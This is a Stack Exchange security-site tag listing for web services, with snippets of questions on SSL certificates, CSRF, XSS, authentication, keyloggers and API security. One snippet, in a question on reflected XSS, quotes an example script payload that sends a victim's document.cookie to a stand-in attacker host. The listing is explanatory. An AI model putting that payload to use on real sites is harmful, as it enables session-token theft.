A web service is application that provides a standard means of interoperating between different software applications, running on a variety of platforms and/or frameworks - typically using HTTP or HTTPS as a transport layer for object and request models (SOAP, REST, JSON, etc). The output isn't ...

learn more… | top users | synonyms

3
votes
3answers
554 views

What type of SSL certificate do I need for communications between an Android app and a web service?

I am developing a game for Android. The customers using the game will have to send their information to a REST web service that, behind the scenes, will be connected to a MySQL database. I would ...
2
votes
1answer
749 views

Expose web service in a secure manner

Requirement I have a web service I need to expose on the DMZ for external communication. The web service communicates directly with a critical database that sits on an internal net. Current ...
0
votes
1answer
158 views

Does a malicious android WebView break the DoubleSubmittCookie countermeasure against CSRF?

Initial situation: A RESTful webservice defends against CSRF attacks by using the double submit cookie approach. This means that the authentication token gets submitted twice and verified at the ...
1
vote
2answers
172 views

Would multiple exposed bcrypt hashes of the same UUID v4 with random generated salt be too insecure?

I'm looking into implementing an ownership check on JSON objects and want to avoid going back to the database to ensure ownership of said object/record (i.e., to prevent a user from updating an ...
0
votes
3answers
3k views

Malware Suddenly Uploaded To My Website! [duplicate]

This is my first question here on the IT Security section of Stack Exchange, so if there is any problems with my question I apologize. Basics Suddenly Google says that my website contains Malware! ...
1
vote
2answers
3k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
2
votes
2answers
275 views

Web Service Security Checklist - Tracing and Debugging

I have been reading this security checklist about web service design: http://msdn.microsoft.com/en-us/library/ff648304.aspx One of the suggestions is that you should disable the following in ...
4
votes
2answers
770 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
4
votes
1answer
967 views

CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
5
votes
1answer
302 views

Is there any risk to enabling CORS with a wildcard on S3?

By default, Amazon S3 blocks cross-origin requests. However, it allows users the ability to set up per-bucket CORS policies. It offers fairly elaborate controls for which domains and methods the user ...
1
vote
2answers
283 views

Web Services and WSDL Documentation Protocol

Let us assume that I have a web service in an ASP.NET project. If I turn off the WSDL documentation protocol, will other users be able to: add a service reference to the web service? discover the ...
5
votes
1answer
247 views

Custom web authentication scheme

For a project at work I'm currently implementing a not too large webservice. For reasons of learning something new I tried making it a REST service, which then prompted the issue of authentication. I ...
3
votes
2answers
2k views

Checking SSL\TLS servers for null encryption support

I have a web server supporting SSL 3 and TLS protocols , the following are the supported cipher suites. TLS_RSA_WITH_RC4_128_MD5 TLS_RSA_WITH_RC4_128_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA How can i ...
1
vote
1answer
378 views

Web application vs web service security

My question is about the difference between usual security expectations from a web application (intended to browser navigation) vs SOAP web service. For a web application, an acceptable solution for ...
0
votes
2answers
268 views

Securing a web service consumed by chrome extension

I'm trying to think of a good security method to secure a web service consumed by a google extension. As known, google chrome extension's source code is open to anyone. My extension mainly deals with ...
2
votes
1answer
374 views

WSS (WSS4J): cleartext password in UsernameToken vs salted password hash in database

I'm currently struggling a little with the security layer of a web service I'm writing using WSS4J and CXF. We obviously do not wish to store plaintext passwords in our backend, but would prefer to ...
5
votes
3answers
3k views

Are there faux/fake malicious websites to test web reputation services similar to EICAR?

Antivirus writers have agreed for their software to recognize a standard "fake" virus file - the EICAR file, to let users check, that the software is up and running. Are there any equivalent test ...
5
votes
2answers
101 views

Preventing fraudulent access to restriced resource on the web?

I'm working on a web application along with a web API and I've been warned against what seems to be a basic vulnerability: not checking that the user making an action has sufficient privileges on the ...
-3
votes
1answer
374 views

Security of web services (REST & SOAP) [closed]

I'm doing a state of the art on web services security. I need every bit of a solution out there that solves concerns about identification, access control, transmission related ones like data ...
2
votes
1answer
243 views

How to Verify the Identity of the Caller of a Web Service

I have a server which is composed of a page and a web service. The web service is intended to be used by a Windows Phone mobile application that I will develop myself. Now, my question is, how do I ...
8
votes
3answers
592 views

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked?

How are large tech sites such as LivingSocial, Zappos, LinkedIn and Evernote hacked? (i.e. how is their entire dataset of users obtained?) LivingSocial - 50 Million Users Exposed Zappos - 24 Million ...
4
votes
2answers
514 views

How Secure are Authenticity Token in Rails

I came across a website which uses Rails Authenticity token to prevent CSRF attacks. My concern here is that I can see the authenticity token in the source code of the web page. If any other service ...
2
votes
1answer
237 views

User Authentication API

I'm developing a web API for a user database that will be used to verify a given username / password combination is valid. I'm just looking for comments / criticism on the following method that I'm ...
1
vote
2answers
150 views

Question about HTTPS [duplicate]

I have a question about HTTPS, which I need help understanding. So if I type: https://www.facebook.com/FOOBAR and as the connection is encrypted, will someone in the middle (say my ISP or someone who ...
-3
votes
1answer
50 views

What is the notion challenge in authetication? [closed]

Can someone help me what is a challenge in authentication wordbook?
1
vote
4answers
996 views

Task Manager and Keyloggers

I know that some of the best keyloggers can't be viewed from the Task Manager. Where can one see if such keyloggers are running on the system? Will they be in the Windows Services or are they hidden ...
2
votes
1answer
101 views

Best practices for setting up client connections to a server with app credentials

The question title is... ugly to say the least. Here's an overview of what I've got: I work on an online tool. Data is sent to it, it processes the data (an intensive task) and sends results back. ...
2
votes
1answer
144 views

What attacks are most likely against SSL/TLS web service sessionid?

I am implementing a web api with which I plan to authorize access by accepting a username and password and system name and returning a sessionid which can be used on subsequent calls to authorize the ...
3
votes
2answers
317 views

Securing Java web services called by web site in DMZ using web services for communication

Suppose you have an application running Java web services in Apache Axis 2. Specifically, these are JAX-WS (Java API for XML-Based Web Services). Currently these web services are on the same Windows ...
1
vote
1answer
797 views

iOS auth/auth with a REST Webservice

we're currently in the design phase of a new "Gateway-Server" which we want to develop. Our server has a REST-Service. My task is to find viable options to protect the access to the aforementionend ...
0
votes
2answers
96 views

Why do services like Twitter have tokens and secrets for 3rd party apps?

I noticed that if you have a 3rd-party Twitter app, you get an access token, and an access token secret, to communicate with Twitter. Why are there two codes? Shouldn't one be enough? Does this mean ...
4
votes
1answer
1k views

Is there cryptographic material in a phone's SIM card that can be used with RSA encryption?

Given that a smart card stores a private key that can't be extracted, it appears that a SIM card is similar to a smart card in these respects. I need to store (or use an existing) private key on a ...
5
votes
3answers
2k views

web services: how prevent illegal accesses

As suggested by someone I post a question here (for the first time). I'm using web services from an Android application. I use https (I bought a SSL certificate). I want to prevent unwanted accesses ...
1
vote
4answers
250 views

Tracking a user who has posted abusive messages

A visitor to our site has posted abusive messages and I wish to block them but I'm not sure there's much I can do besides blocking their IP address (and even that won't help much). After analysing ...
4
votes
3answers
284 views

February 7th 2013 Facebook integration error implications [duplicate]

What are the security, privacy, and overall availability implications of the Facebook event (link) yesterday? I was astonished to see site after site being redirected to a Facebook error page last ...
-1
votes
4answers
150 views

Is there any way to know the contact email on a contact form? [closed]

When a website has a contact form where the email isn't shown, is there any possible way of know to which email is the contact form sending the message?
0
votes
1answer
109 views

Securing the SOAP Messages

One of my clients wants to encrypt few sensitive information which will be transferred through webservices / SOAP. My client has the following suggestions: Encrypt the sensitive data with AES ...
0
votes
2answers
247 views

Denial Of Service attack in asynchronous communication

Is Low rate DOS attack (unintended) possible through asynchronous communication? Consider this scenario: I have a client server application were there is a WAN communication between the client and ...
1
vote
3answers
337 views

RSS Feeds: restrict access

"We are a bunch of journalists and we share much of the information via e-mails. This has become tedious now. Hence we found out a way to share, by just having to share our private blog posts via ...
1
vote
1answer
878 views

How does a developer interact with Microsoft Certificate *Web Services*

Microsoft Certificate Web Services is a HTTPS web service (WS-Trust) that has no Kerberos dependency and can be used on a variety of devices. This is new in Windows 2008 and is separate from the ...
3
votes
2answers
350 views

Should the Keygen element be used to create a certificate for mutual auth TLS? What alternatives are there?

I'm interested in using mutual auth TLS to improve the security of my javascript based webservices . I've looked at the Keygen element and given all its issues, not sure if this can even be used for ...
1
vote
2answers
128 views

How do private feeds get transferred between two different portals?

I have some doubts about how the RSS private feeds, get transferred between one portal to another. The whole point is to allow private RSS feeds to be consumed by external clients, and in 99% of ...
6
votes
2answers
315 views

Safe YAML parser?

I've recently read that YAML was not "designed to handle malicious user input", because a malicious YAML input "can create instances of all classes defined in the targeted Rails application". ...
4
votes
4answers
1k views

Why would someone want to encrypt RSS feeds?

I heard the idea of encrypting the RSS feeds using public key encryption system from someone and since then I am intrigued by the idea. But then I started to wonder what would be the basic need for ...
1
vote
2answers
831 views

How do I holistically protect a web service from network and MITM attacks?

I have several financial web services that are accessed over HTTPS, however the client devices may be accessing the web services over untrusted WiFi, through questionable proxies, and possibly ToR ...
4
votes
4answers
4k views

What does scorecardsresearch.com/beacon.js - added by Disqus.com - do?

I recently added Disqus to my site. Looking at the "scripts" tab on Firebug, I noticed a script called, http://scorecardresearch.com/beacon.js (here is a prettified version - the script is not ...
2
votes
2answers
450 views

Is there any way to differentiate between a normal web request and a web service request?

I have a security layer for providing the security of the requests that come to my server. For all web request that come in a login page is shown if cookie is not present. I am now introducing web ...
1
vote
1answer
152 views

How safe is WSIT username authentication with symmetric key?

I have an ajax-ws web service (exposed via glassfish) that uses username authentication with a symmetric key to encrypt and authenticate clients(link). How secure is this mechanism? Is this enough to ...
3
votes
3answers
204 views

Monitoring for security threats

I host and maintain several websites. The users pay to have their sites maintained and secured. However, with the amount of web applications like joolma, wordpress, ect... and their plugins, I need a ...
3
votes
1answer
259 views

Payment security on Android App

I am developing an application from which users browse and buy books. The client can be Android ,iOS, Mac. The server is ASP.net Web APIs. I know there are many payment services available. One of ...